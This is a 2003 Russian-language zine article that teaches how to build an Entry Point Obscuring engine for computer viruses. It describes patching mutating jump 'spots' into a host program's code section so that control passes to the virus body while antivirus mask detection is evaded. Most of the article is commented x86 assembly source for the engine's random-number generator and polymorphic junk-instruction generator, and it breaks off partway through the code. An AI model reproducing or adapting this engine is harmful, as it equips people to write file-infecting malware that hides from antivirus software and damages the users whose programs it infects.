Гошко С.В., Построение простого EPO мотора, Argc&Argv, июль 2003, стр.22-31
		        Построение простого EPO мотора

В данной статье мы рассмотрим моделирование простого EPO мотора. На данную тему
уже было написано несколько статей, но они в большей степени теоритические.
В этом тексте будет рассмотрено, как теоритическое моделирование так и пример 
применения этой теории. В качестве примера будет разобран мой ЕPO мотор - SPOT.

Начнём мы прежде всего с определения EPO - Entry Point Obscuring. В переводе 
это означает - скрытие точки входа. В основном данное понятие применяется к
компьютерным вирусам, которые не меняют в заголовке исполнимого файла точку 
входа. Точка входа это адрес с которого начинается выполнение программы при её
запуске. Впервые данная техника была применена ещё в ДОС вирусах.
В аспекте Windows систем данная техника была применена впервые в вирусе Cabanas.
В чём же заключалась данная техника давайте рассмотрим на схеме.

		|------------------------------------------|
		|             Заголовок программы          |
		|  (в нём указан адрес запуска программы)  |
		|------------------------------------------|
		|                   .....                  |
		|         Здесь идут различные секции      |
		|                   .....                  |
		|------------------------|-----------------|
	|-------| Переход на тело вируса |                 |
	|	|------------------------|                 |
	|	|               Кодовая секция             |
	|	|------------------------------------------|
	|	|                   .....                  |
	|	|         Здесь идут различные секции      |
	|	|                   .....                  |
	|	|------------------------------------------|
	|------>|                   .....                  |
		|         	    ВИРУС                  |
		|                   .....                  |
		|------------------------------------------|

До вируса Cabanas в Windows системах такая техника не применялась. Обычно вирус
Изменял в заголовке точку входа редактировал виртуальный размер и дописывал
своё тело в конец файла (обычно вирус создавал новую секцию). Потому как все
вирусы меняли точку входа, то антивирусные программы просто проверяли куда 
указывает точка входа и потом уже легко или сложно детектировали вирус.

В вирусе Cabanas первые 5 байт кодовой секции вначале сохраняются в теле вируса,
а потом перезаписываются jmp'ом на начало вируса. Таким образом не нужно менять
точку входа, потому что вирус получит управление после первой инструкции 
перехода.

После этого пошла волна вариаций на ту же тему. Инструкции передающие 
управление вирусу усложнялись, видоизменялись. Иногда туда встраивали даже
декрипторы, которые расшифровывали закриптованное вирусное тело и передавали на
него управление. Но антивирусные программы то же стали проверять куда передают
управление первые инструкции кодовой секции. Так же постоянно обновляются маски
этих инструкций передающих управление на вирусное тело.

Для того чтобы усложнить анализ и детектирование данных инструкций мной был
разработан мотор (модуль), который легко применять.

Начнём мы посторение нашего мотора с того, что определимся чего нам необходимо
достичь:

1) Чтобы наши инструкции не обнаруживались по маске (мутация)

2) Чтобы наши инструкции не сразу передавали управление вирусу или защите
   от взлома программы (маскировка)

3) Чтобы управление в конце концов получил наш код

Теперь попытаемся определится, как наш мотор должен работать:

1) В начало кода встраивается первая партия инструкций, но каждый раз она
   будет разная. Это будет реализовано за счёт разбавление одной значащей
   инструкции сложным разнообразным мусором.

2) Первое пятно будет передавать управление второму и так далее, пока
   последнее пятно не передаст управление инжектированному коду.

		Рассмотрим на примере устройство i-ого пятна: 

;------------------------------------------------------------------------------;
		...................
		mov	eax,7385673
		add	ebx,9874
		cmp	ecx,edx
		mov	edx,7234
		je	$+2
		jmp	to_i_plus1_spot
		add	eax,456678
		...................		
;------------------------------------------------------------------------------;

Каждое из пятен сильно мутирующее, то есть по маске его детектировать не 
возможно. Количество пятен случайно и расстояние между пятнами то же случайно.

Все байты которые перетираются пятнами, сохраняются в теле вируса.

	     Для работы мотора необходимы следующие модули:

1) Генератор случайных чисел (r_gen32.asm)

2) Генератор исполнимого мусора (t_gen32.asm)

		   Разберём пример генератора случайных чисел:

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                       [RANDOM IN RANGE GENERATOR V. 0.2]                     ;
;                                                                              ;
;    ############              #############   #############   ######    ###   ;
;    #############            ##############  ##############  ########   ###   ;
;    ##        ###            ###             ###             ###  ###   ###   ;
;    #############            ###  ########   ##############  ###  ###   ###   ;
;    #############            ###  #########  ##############  ###  ###   ###   ;
;    ##        ###            ###        ###  ###             ###  ###   ###   ;
;    ##        ###            ##############  ##############  ###  #########   ;
;    ##        ###  #########  ############    #############  ###   #######    ;
;                   #########                                                  ;
;                                                                              ;
;                               FOR MS WINDOWS                                 ;
;                                                                              ;
;                                   BY SL0N                                    ;
;------------------------------------------------------------------------------;
;                                   MANUAL:                                    ;
;                                                                              ;
; RANGE OF RANDOM NUMBER -> EAX                          		       ;
; CALL  BRANDOM32           			       			       ;
;									       ;
; RANDOM NUMBER IN RANGE -> EAX                          		       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
brandom32:                                         
		call	delta2
delta2:		pop	ebp
		sub	ebp,offset delta2
						   ; Эта подпрограмма 
						   ; возвращает случайное число
						   ; в диапазоне 0..eax-1

		push	edx ecx                    ; Сохраняем в стэке edx, ecx
		xor	edx,edx                    ; Обнуляем edx
		imul	eax,eax,100                ; Умножаем eax на 100
		push	eax                        ; и сохраняем eax в стэке
		call	random32                   ; Вызываем подпрограмму
						   ; генерации случайного числа
		pop	ecx                        ; Восстанавливаем значение
						   ; из стэка в ecx
		div	ecx                        ; Делим eax на ecx
		xchg	eax,edx                    ; Помещаем остаток в eax
		xor	edx,edx                    ; Обнуляем edx
		mov	ecx,100                    ; Помещаем в ecx - 100
		div	ecx                        ; Делим eax на ecx
		pop	ecx edx                    ; Восстанавливаем ecx, edx
		ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;			RANDOM NUMBER GENERATOR SUBROUTINE		       ;
;------------------------------------------------------------------------------;
;			           [ IN ]				       ;
;                                                                              ;
;          		     NO INPUT IN SUBROTINE                             ;
;------------------------------------------------------------------------------;
;			           [ OUT ]				       ;
;									       ;
;               	     RANDOM NUMBER -> EAX                              ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
random32:                                          
						   ; Генератор случайных чисел

		push	edx ecx                    ; Сохраняем в стэке edx, ecx
		db	0fh,031h                   ; Инструкция rdtsc
		rcl	eax,2                      ; Далее идут различные
		add	eax,12345678h              ; математические
		random_seed = dword ptr $-4        ; преобразования
		adc	eax,esp                    ; для получения, как
		xor	eax,ecx                    ; можно более не зависимого
		xor	[ebp+random_seed], eax     ; числа
		add	eax,[esp-8]                ;
		rcl	eax,1                      ;
		pop	ecx edx                    ; Восстанавливаем ecx, edx
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
Ничего сложного в этом модуле, как вы можете видеть нет.

Теперь перейдём к разаработке генератора мусора. Потому как без него с таким
декриптором очень сложно достигнуть настоящего полиморфизма.

Исполнимый код должен быть как можно более разнообразным. В идеале получившийся
декриптор с мусором должен походить на обыкновенную программу с условными 
переходами и множеством функций.

		   Рассмотрим  генератора мусора на примере:

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                             [TRASH GENERATOR V. 0.2]                         ;
;                                                                              ;
;	#############       #############   #############   ######    ####     ;
;	#############      ##############  ##############  ########   ####     ;
;	    ###            ###             ###             ###  ###   ####     ;
;	    ###            ###  ########   ##############  ###  ###   ####     ;
;	    ###            ###  #########  ##############  ###  ###   ###      ;
;	    ###            ###        ###  ###             ###  ###   ###      ;
;	    ###            ##############  ##############  ###  #########      ;
;	    ###  #########  ############    #############  ###   #######       ;
;	         #########                                                     ;
;                                                                              ;
;                                                                              ;
;                                  FOR MS WINDOWS                              ;
;                                                                              ;
;                                      BY SL0N                                 ;
;------------------------------------------------------------------------------;
;                                      MANUAL:                                 ;
;                                                                              ;
; LENGTH OF GARBAGE   -> ECX  			                               ;
; BUFFER FOR GARBAGE  -> EDI                    		               ;
; USELESS REGISTER N1 -> BH (0..7)               		               ;
; USELESS REGISTER N2 -> BL (0..7)                      		       ;
;						 			       ;
; CALL GARBAGE	                                                               ;
;------------------------------------------------------------------------------;
;                           IT GENERATES INSTRUCTIONS:                         ;
;                                                                              ;
; MOV, MOVSX/ZX, XCHG, LEA, ADD/ADC/AND/OR/SUB/SBB/XOR/CMP                     ;
; INC/DEC, NOT/NEG, TEST, IMUL, ROL/ROR/RCL/RCR/SHL/SHR                        ;
; SHLD/SHRD, XADD, BSR/BSF, BT/BTC/BTR/BTS, JMP,REPZ/NZ                        ;
; PUSH/POP, X87, JX/JNX, STX, CLX, NOP, CALL                                   ;
;                                                                              ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
garbage:                                           ; Подпрограмма генерации
						   ; мусорных инструкций
		push	edx                        ; Сохраняем в стэке
		push	ecx                        ; edx, ecx, ebx, ebp, esi
		push	esi                        ; 
		push	ebp                        ;
		push	ebx                        ;

		call	delta_offset1              ; 
delta_offset1:	pop	ebp                        ; Получаем дельта смещение
		sub	ebp,offset delta_offset1   ;
delta_offset:
		mov	eax,19                     ; Выбираем случайным образом
		call	brandom32                  ; вариант генерации мусорных
						   ; инструкций
		shl	eax,1                      ; Умножаем eax на 2
		lea	esi,[ebp+mega_table]       ; В esi смещение на таблицу
						   ; относительных смещений
		add	esi,eax                    ; к esi добавляем eax
		xor	eax,eax                    ; Обнуляем eax
		lodsw                              ; В ax загружаем 
						   ; относительное смещение от
						   ; метки delta_offset
		lea	esi,[ebp+delta_offset]     ; В esi кладём смещение 
						   ; метки delta_offset
		add	eax,esi                    ; Добавляем смещение 
						   ; подпрограммы
		call	eax                        ; Вызываем её
		jmp	delta_offset               ; Переход на delta_offset
;------------------------------------------------------------------------------;
instr_je:
		cmp	cl,2                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 2, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	eax,10                     ; Выбираем случайным образом
		call	brandom32                  ; число от 0..9
		                                   ;
		add	al,70h                     ; Добавляем 70h
		stosb                              ; и кладём его в буфер
		xor	al,al                      ; Помещаем в al - 0 
		stosb                              ; и кладём его в буфер
		                                   ;
						   ; В итоге у нас получается
						   ; случайно выбранный,
						   ; условный, вырожденный
						   ; переход:
						   ; ...................
						   ; je              $+2
						   ; jae	     $+2
						   ; ...................
		sub	ecx,2                      ; Уменьшаем счётчик на 2
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_not:
		cmp	cl,2                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 2, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,0f7h                    ; Помещаем в al - 0f7h
		stosb                              ; и кладём его в буфер
		mov	dl,0d0h                    ; Помещаем в dl - 0dh 
		mov	eax,2                      ; Генерируем случайное число
		call	brandom32                  ; в диапазоне 0..2
		shl	eax,3                      ; Умножаем на 8
		add	dl,al                      ; Добавляем к dl - al
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		add	al,dl		           ; Добавляем к al - dl
		stosb                              ; и кладём его в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкция NOT/NEG:
						   ; ...................
						   ; not             eax
						   ; neg	     edx
						   ; ...................
		sub	ecx,2                      ; Уменьшаем счётчик на 2
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_je2:
		cmp	cl,6                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 6, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,0fh                     ; Помещаем в al - 0fh
		stosb                              ; и кладём его в буфер
		mov	eax,10                     ; Выбираем случайным образом
		call	brandom32                  ; число от 0..9
		                                   ;
		add	al,80h                     ; Добавляем 80h
		stosb                              ; и кладём его в буфер
		xor	eax,eax                    ; Помещаем в eax - 0 
		stosd                              ; и кладём его в буфер
		                                   ;
						   ; В итоге у нас получается
						   ; случайно выбранный,
						   ; условный, вырожденный
						   ; переход:
						   ; ...................
						   ; je              $+5
						   ; jae             $+5
						   ; ...................
		sub	ecx,6                      ; Уменьшаем счётчик на 6
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_x87:
		cmp	cl,2                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 2, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,0dch                    ; Кладём в al - 0dch
		stosb                              ; И помещаем al в буфер
		mov	eax,02fh                   ; Генерируем случайное число
		call	brandom32                  ; в интервале 0..2eh
		add	al,0c0h                    ; Добавляем к числу 0c0h
		stosb                              ; и помещаем сумму в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкция сопроцессора:
						   ; ...................
						   ; fadd       st(0),st
						   ; fmul       st(7),st
						   ; ...................
		sub	ecx,2                      ; Уменьшаем счётчик на 2
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_cmp:
		cmp	cl,2                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 2, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	dl,3ah                     ; Помещаем в dl - 03ah
		mov	eax,3                      ; Получаем случайное число
		call	brandom32                  ; в диапазоне 0..2
		add	al,dl                      ; Добавляем к al - dl
		stosb                              ; Затем помещаем al в буфер
		call	rnd_reg                    ; Получаем случайный регистр
		shl	eax,3                      ; Умножаем eax на 8
		add	al,0c0h                    ; Добавляем к al - 0c0h
		mov	dl,al                      ; помещаем в cl - al
		call	rnd_reg                    ; Получаем случайный регистр
		add	al,dl                      ; Добавляем к al - cl
		stosb                              ; И помещаем al в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкция CMP:
						   ; ...................
						   ; cmp         eax,esp
						   ; cmp          al,0c0
						   ; ...................
		sub	ecx,2                      ; Уменьшаем счётчик на 2
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_xor:
		cmp	cl,2                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 2, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,33h                     ; Помещаем в al - 33h
		stosb                              ; И затем кладём это в буфер
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		shl	eax,3                      ; Умножаем eax на 8
		add	al,0c0h                    ; Добавляем к al - 0c0h
		mov	dl,al                      ; помещаем в cl - al
		call	rnd_reg                    ; Получаем случайный регистр
		add	al,dl                      ; Добавляем к al - cl
		stosb                              ; И помещаем al в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкция XOR:
						   ; ...................
						   ; xor         eax,esp
						   ; xor         edi,ecx
						   ; ...................
		sub	ecx,2                      ; Уменьшаем счётчик на 2
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_test:
		cmp	cl,2                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 2, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	dl,084h                    ; Помещаем в dl - 084h
		mov	eax,2                      ; Получаем случайное число
		call	brandom32                  ; в диапазоне 0..1
		add	al,dl                      ; Добавляем к al - dl
		stosb                              ; И затем кладём это в буфер
		call	rnd_reg                    ; Вызываем подпрограмму 
		                                   ; получения случайного 
						   ; регистра
		add	al,0c0h                    ; Добавляем к al - 0c0h
		mov	dl,al                      ; помещаем в cl - al
		call	rnd_reg                    ; Получаем случайный регистр
		add	al,dl                      ; Добавляем к al - cl
		stosb                              ; И помещаем al в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкция XOR:
						   ; ...................
						   ; test        eax,esp
						   ; test          al,cl
						   ; ...................
		sub	ecx,2                      ; Уменьшаем счётчик на 2
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_movr:
		cmp	cl,2                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 2, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,8bh			   ; Помещаем в al - 8bh
		stosb                              ; Потом помещаем al в буфер
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		shl	eax,3                      ; Умножаем eax на 8
		add	al,0c0h                    ; Добавляем к al - 0c0h
		mov	dl,al                      ; помещаем в cl - al
		call	rnd_reg                    ; Получаем случайный регистр
		add	al,dl                      ; Добавляем к al - cl
		stosb                              ; И помещаем al в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкция MOV:
						   ; ...................
						   ; mov         eax,esp
						   ; mov         edi,ecx
						   ; ...................
		sub	ecx,2                      ; Уменьшаем счётчик на 2
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_push:
		cmp	cl,2                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 2, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		call	rnd_reg                    ; Получаем случайный регистр
		add	al,50h                     ; Добавляем к al - 50h
		stosb                              ; Кладём al в буфер
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		add	al,58h                     ; Добавляем к al - 8
		stosb                              ; И опять кладём al в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкции PUSH/POP:
						   ; ...................
						   ; push            eax
						   ; pop             ecx
						   ; ...................
		sub	ecx,2                      ; Уменьшаем счётчик на 2
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_movc:
		cmp	cl,5                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 5, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		add	al,0b8h                    ; Добавляем к al - 0b8h
		stosb                              ; И кладём al в буфер
		call	random32                   ; Генерируем случайное
		stosd                              ; число
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкции MOV:
						   ; ...................
						   ; mov    eax,12345678
						   ; mov    ebp,00056800
						   ; ...................
		sub	ecx,5                      ; Уменьшаем счётчик на 5
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_jmp:
		cmp	cl,5                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 5, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,0e9h                    ; Кладём в al - 0b8h
		stosb                              ; И кладём al в буфер
		xor	eax,eax			   ; Обнуляем eax 
		stosd                              ; И кладём его в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкции JMP:
						   ; ...................
						   ; jmp             $+5
						   ; ...................
		sub	ecx,5                      ; Уменьшаем счётчик на 5
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_l32:
		cmp	cl,6                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 6, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,81h                     ; Кладём в al - 81h
		stosb                              ; И помещаем al в буфер
		mov	eax,4                      ; Получаем случайное число
		call	brandom32                  ; в диапазоне от 0..9
		add	al,0ch                     ; Добавляем к нему - 0ch
		mov	dl,10h                     ; Кладём в dl - 10h
		mul	dl                         ; Умножаем на dl
		mov	dl,al                      ; Кладём в dl - al
		mov	eax,2                      ; Получаем случайное число
		call	brandom32                  ; в диапазоне от 0..1
		shl	al,3                       ; Умножаем al на 8
		add	dl,al                      ; Добавляем к dl - al
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		add	al,dl                      ; Добавляем к al - dl
		stosb                              ; И кладём al в буфер
		call	random32                   ; Генерируем случайное
		stosd                              ; число и кладём его в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкции ADD:
						   ; ...................
						   ; add    eax,12345678
						   ; or     ebp,00056800
						   ; ...................
		sub	ecx,6                      ; Уменьшаем счётчик на 5
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_lea:
		cmp	cl,6                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 6, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,8dh                     ; Кладём в al - 8dh
		stosb                              ; И помещаем al в буфер
		mov	dl,08h                     ; Кладём в dl - 08h
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		mul	dl                         ; Добавляем к al - dl
		add	al,5			   ; Добавляем к al - 5
		stosb                              ; И кладём al в буфер
		call	random32                   ; Генерируем случайное
		stosd                              ; число
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкции LEA:
						   ; ...................
						   ; lea  eax,[12345678]
						   ; lea  ebp,[00056800]
						   ; ...................
		sub	ecx,6                      ; Уменьшаем счётчик на 6
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_cl:
		cmp	cl,6                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 6, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,0e8h                    ; Кладём в al - e8h
		stosb                              ; И помещаем al в буфер
		xor	eax,eax                    ; Обнуляем eax и помещаем
		stosd                              ; его в буфер
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		add	al,58h                     ; Добавляем к al - 8
		stosb                              ; И опять кладём al в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкции CALL:
						   ; ...................
						   ; call            $+5
						   ; pop             eax
						   ; ...................
		sub	ecx,6                      ; Уменьшаем счётчик на 6
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_shl:
		cmp	cl,3                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 3, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,0c1h                    ; Кладём в al - 0c1h
		stosb                              ; И помещаем al в буфер
		mov	eax,6                      ; Генерируем случайное число
		call	brandom32                  ; в диапазоне 0..5
		shl	eax,3                      ; Умножаем его на 8
		add	al,0c0h                    ; Добавляем к нему - 0c0h
		mov	dl,al                      ; Помещаем в dl - al
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		add	al,dl                      ; Добавляем к al - dl
		stosb                              ; И помещаем al в буфер
		mov	eax,256                    ; Генерируем случайное число
		call	brandom32                  ; в диапазоне 0..255
		stosb		                   ; И кладём его в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкции SHL,ROL, ...:
						   ; ...................
						   ; ror          eax,78
						   ; shl          ebp,04
						   ; ...................
		sub	ecx,3                      ; Уменьшаем счётчик на 2
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_a32:
		cmp	cl,3                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 3, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,0fh                     ; Кладём в al - 0fh
		stosb                              ; И помещаем al в буфер
		lea	esi,[ebp+three_byte_opcode]; Кладём в esi указатель на
						   ; таблицу частей 3-х байтных
						   ; инструкций
		mov	eax,14                     ; Генерируем случайное число
		call	brandom32                  ; в диапазоне 0..13
		add	esi,eax                    ; Прибавляем к esi - eax 
		movsb                              ; Перемещаем байт в буфер
		mov	dl,0c0h                    ; Кладём в dl - 0с0h
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		shl	eax,3			   ; Умножаем eax на 8
		add	dl,al                      ; Добавляем к dl - al
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		add	al,dl                      ; Добавляем к al - dl
		stosb                              ; И помещаем al в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкции XADD,IMUL, ...:
						   ; ...................
						   ; xadd        eax,eax
						   ; imul        ebp,ecx
						   ; ...................
		sub	ecx,3                      ; Уменьшаем счётчик на 3
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_xchg:
		cmp	cl,2                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 2, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,087h                    ; Кладём в al - 087h
		stosb                              ; И помещаем al в буфер
		mov	dl,0c0h                    ; Кладём в dl - 0с0h
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		shl	eax,3			   ; Умножаем eax на 8
		add	dl,al                      ; Добавляем к dl - al
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		add	al,dl                      ; Добавляем к al - dl
		stosb                              ; И помещаем al в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкции XCHG:
						   ; ...................
						   ; xchg        eax,eax
						   ; xchg        ebp,ecx
						   ; ...................
		sub	ecx,2                      ; Уменьшаем счётчик на 2
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_a16:
		cmp	cl,4                       ; Если длина генерируемой
		jl	one_byte                   ; инструкции меньше 4, то
		                                   ; мы переходим на генерацию
						   ; однобайтовых инструкций
		mov	al,066h                    ; Кладём в al - 066h
		stosb                              ; И помещаем al в буфер
		mov	dl,0b8h                    ; Помещаем в dl - 0b8h
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		add	al,dl                      ; Добавляем к al - dl
		stosb                              ; И помещаем al в буфер
		mov	eax,0ffffh                 ; Генерируем случайное число
		call	brandom32                  ; в диапазоне 0..65534
		stosw                              ; И помещаем его в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкции MOV:
						   ; ...................
						   ; mov         ax,3452
						   ; mov         bp,1234
						   ; ...................
		sub	ecx,4                      ; Уменьшаем счётчик на 4
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
one_byte:
		mov	eax,3                      ; Генерируем случайное число
		call	brandom32                  ; в диапазоне 0..2
		                                   
		cmp	al,1                       ; Если число = 1, то 
		je	instr_inc                  ; генерируем инструкцию INC

		cmp	al,2                       ; Если число = 2, то
		je	instr_dec                  ; генерируем инструкцию DEC

		lea	esi,[ebp+one_byte_opcode]  ; Кладём в esi указатель на
						   ; таблицу однобайтных
						   ; инструкций
		mov	eax,8                      ; Генерируем случайное число
		call	brandom32                  ; в диапазоне 0..7
		add	esi,eax                    ; Прибавляем к esi - eax 
		test	ecx,ecx                    ; Если длина инструкции = 0,
		jz	landing                    ; тогда переходим на конец
		movsb                              ; Помещаем инструкцию
						   ; из таблицы в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкция из таблицы:
						   ; ...................
						   ; cld             
						   ; nop             
						   ; ...................
		dec	ecx                        ; Уменьшаем ecx на единицу
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_inc:
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		add	al,40h                     ; Добавляем к al - 40h
		test	ecx,ecx                    ; Если длина инструкции = 0,
		jz	landing                    ; тогда переходим на конец
		stosb                              ; Помещаем al в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкции INC:
						   ; ...................
						   ; inc             eax
						   ; inc             ebp
						   ; ...................
		dec	ecx                        ; Уменьшаем ecx на единицу
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_dec:
		call	free_reg                   ; Вызываем подпрограмму 
		                                   ; получения свободных 
						   ; регистров
		add	al,48h                     ; Добавляем к al - 40h
		test	ecx,ecx                    ; Если длина инструкции = 0,
		jz	landing                    ; тогда переходим на конец
		stosb                              ; Помещаем al в буфер
						   ; В итоге у нас получается
						   ; случайно выбранная
						   ; инструкции DEC:
						   ; ...................
						   ; dec             eax
						   ; dec             ebp
						   ; ...................
		dec	ecx                        ; Уменьшаем ecx на единицу
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
landing:        
		add	esp,4                      ; Выталкиваем их стэка уже
		pop	ebx                        ; не нужный адрес возврата
		pop	ebp			   ; 
		pop	esi                        ; Восстанавливаем регистры
		pop	ecx                        ; из стэка.
		pop	edx                        ;
		ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;			    FREE REGISTER SUBROUTINE		               ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          		     NO INPUT IN SUBROTINE                             ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;									       ;
;               	     FREE REGISTER -> EAX                              ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
free_reg:                                          
						   ; Подпрограмма получения
                                                   ; свободного регистра

		push	edx ecx                    ; Сохраняем в стэке edx, ecx
another:                                           ;
		call	rnd_reg                    ; Получаем случайный регистр
		cmp	al,bh	                   ; Свободный регистр не может
		je	another                    ; быть таким как reg1
		cmp	al,bl                      ; Свободный регистр не может
		je	another                    ; быть таким как reg1
		cmp	al,00000100b               ; Используем все регистры 
		je	another                    ; кроме esp

		pop	ecx edx                    ; Восстанавливаем ecx, edx
		ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;			    RANDOM REGISTER SUBROUTINE		               ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
